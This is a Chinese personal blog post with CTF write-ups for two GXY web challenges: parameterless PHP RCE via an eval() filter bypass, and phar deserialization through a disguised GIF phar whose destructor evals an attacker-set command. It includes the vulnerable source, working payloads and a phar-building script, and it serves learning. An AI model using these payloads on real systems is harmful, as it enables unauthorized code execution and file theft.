抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

今天也来接着做下GXY的几道web题

禁止套娃

首先是禁止套娃这一道,题目类型为无参RCE。我也是通过这一道题才了解到无参RCE这个名词,不过后来仔细想想,原来做过的BugKu的过狗一句话也有相似之处……

话不多说,先给出我参考的文章:

https://www.gem-love.com/websecurity/530.html
前面的师傅里面提到了sky师傅的博文,所以我也参考了下。

那么首先,出现无参RCE的必要条件是什么呢?大抵是如下的正则:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

这里?R是引用当前表达式的意思,那么配上前面的成分,我们被允许的参数值必须具有以下形式:
a(b(c())
a()
而不是a(‘342’)之类的。

那么回到题目上来,首先网页并没有太多信息,那么我们常规几板斧拿出来:1.抓包,有没有有用的信息?2.网页源码,有没有提示?3.源码泄露,git,svn等等试一遍4.扫目录,看有没有有趣的目录可以发掘5.实在不行看看题目的名字,网页的框架,有没有提示你可能存在的漏洞 。我个人认为正常的题目这样做肯定可以继续发展下去而不至于一筹莫展。
当然,此处是很常见的.git源码泄露,我们把githack拿下来的index.php看一看:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

到这就可以确认是无参RCE了,那么现在来小结下如何应对无参RCE以及如何过这里的正则:
首先明确一点,基于无参RCE的格式要求,我们可利用的有很多,其中主要包括全局变量以及返回值有特殊性的函数。甚至可以像sky那样,通过getallheaders()拿到环境变量,使自己传参的参数变为可控的,进而执行命令。
那么回到题目上,现在肯定第一步是看看目录了,从sky那学到的常规手法,是getcwd()获得当前目录,scandir(getcwd())获得当前目录的文件。而如果要往上层目录看的话,就利用dirname(),使用scandir(dirname(getcwd()))。不过这里我试了下好像不太行,所以改用其他方法:
我们知道,scandir()读当前目录的用法是scandir(‘.’),但这里的’.’要怎么获得呢?那就要涉及到一个高级用法

current(localeconv())

本地试一下结果:
localeconv
current(localeconv)
后者之返回一个点,是完全可以利用了。
扫目录

print_r(scandir(current(localeconv())));

dir

那么接下来就要读flag.php了,这里我们当然只能利用flag.php在返回的数组中的键值来操作下。如果flag.php是数组最后一个数值的话,直接end()就解决了。不过这里是倒数第二个,所以有其他方法操作:
1.运气法
hhh因为是靠随机数,我认为干脆叫运气使然好了。

array_rand(array_flip(scandir(current(localeconv()))))

这里array_rand()不多说,就是随机获得数组中一个下标,而array_flip则可以交换键与值。那么返回的就变成值了。
因为这里只有五个文件,我们用随机数完全不用关心其随机性。

2.使用array_reverse加上next(),把数组逆过来后,flag.php变成第二个元素,恰巧是数组名指针下一个,使用next()即可。

最后,使用readfile()或highlight_file读文件即可
payload:

exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

BabySqli v3.0

phar反序列化的题目。其实从去年10月份到现在自己已经听过无数次phar反序列化的漏洞了,而且学校里师傅们也一直在整相关的pop链什么的,因此寒假一定要解决这个知识点(好像已经欠了不少知识……ssrf从去年8月到现在还没有系统的好好学过……)

这道题也算是自己的第一道phar反序列化的题目吧,整体不算难。
不过比赛时的师傅们可能不这么想,因为这道题的名字容易把人引向sql注入上,但其实登录界面就是个弱口令admin password。估计坑了不少人吧。

登录进去后,看到一个文件上传(现在的文件上传题很多就是phar的知识点,比如红帽杯)
上传

同时注意到有file参数为upload,可能是个文件包含的点。因此我们尝试一下访问,发现确实存在upload.php.同理,可以确认有flag.php。但显然被ban了。因此再回到file参数上,除了直接的文件包含,当然也可以用伪协议试试,于是成功拿到home.php源码。解码后得:

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

到这里就有点以前反序列化的意思了,而之所以题目是phar反序列化,就是因为phar的优势就在于可以在伪造文件类型的同时利用phar://来进行反序列化。那我们直接看看要如何利用:
首先是找可控参数,我们找到name参数是通过get传的:

 $this->Filename = $_GET['name'];

之后在找可以执行命令的点

function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }

只要保证token是与user的session相同即可eval执行命令。
那么同时我们实例化的对象$uploader在_toString方法中看到,返回值是filename,也是我们可控的name的值。那我们只要让最后的file_get_contents()执行时读我们可控的flag.php就好了。既然如此,先随便传一个文件确定下提示我们的文件位置,确认token,然后本地生成phar文件

<?php

class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php)';
$o->Filename='test';
$o->token='GXYbef648df4f254d89810fd44f9a2fc822';
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

上传phar后,name参数赋值
phar://+上传phar文件的地址
再随便上传文件就可以触发phar反序列化,达到命令执行。

其实因为出题人多打了一个空格,导致正则匹配没效果……直接传一句话或者直接包含flag.php后传文件都可以拿flag……

GXY的题就先告一段落吧,明天还要做做代码审计的题目,之后要把基础漏洞相关知识都了解透彻,毕竟自己底子不牢。然后把欠着的ssrf,phar等等都系统学一学应该就好了

评论